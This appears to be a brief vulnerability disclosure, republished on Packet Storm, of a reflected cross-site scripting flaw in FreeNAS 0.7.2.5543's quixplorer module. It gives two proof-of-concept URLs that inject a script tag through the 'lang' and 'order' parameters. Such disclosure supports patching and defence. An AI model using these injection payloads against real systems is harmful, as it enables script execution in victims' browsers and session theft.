Freenas version 0.7.2.5543 suffers from a cross site scripting vulnerability.
6024eb8d221d86e774861cb5888403ed5bb52c9ce554fa401344f8e854acd59cGood morning, you can xss freenas stable (0.7.2.5543)
like this
http://192.168.0.1/quixplorer/index.php?action=list&order=name&srt=yes&lang=en%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
or this ...
http://192.168.0.1/quixplorer/index.php?action=list&order=nan%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Eme&srt=yes
etc.
This will work regardless of the user being logged into the quixplorer
module or freenas.
--
question = ( to ) ? be : ! be; -- Wm. Shakespeare
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed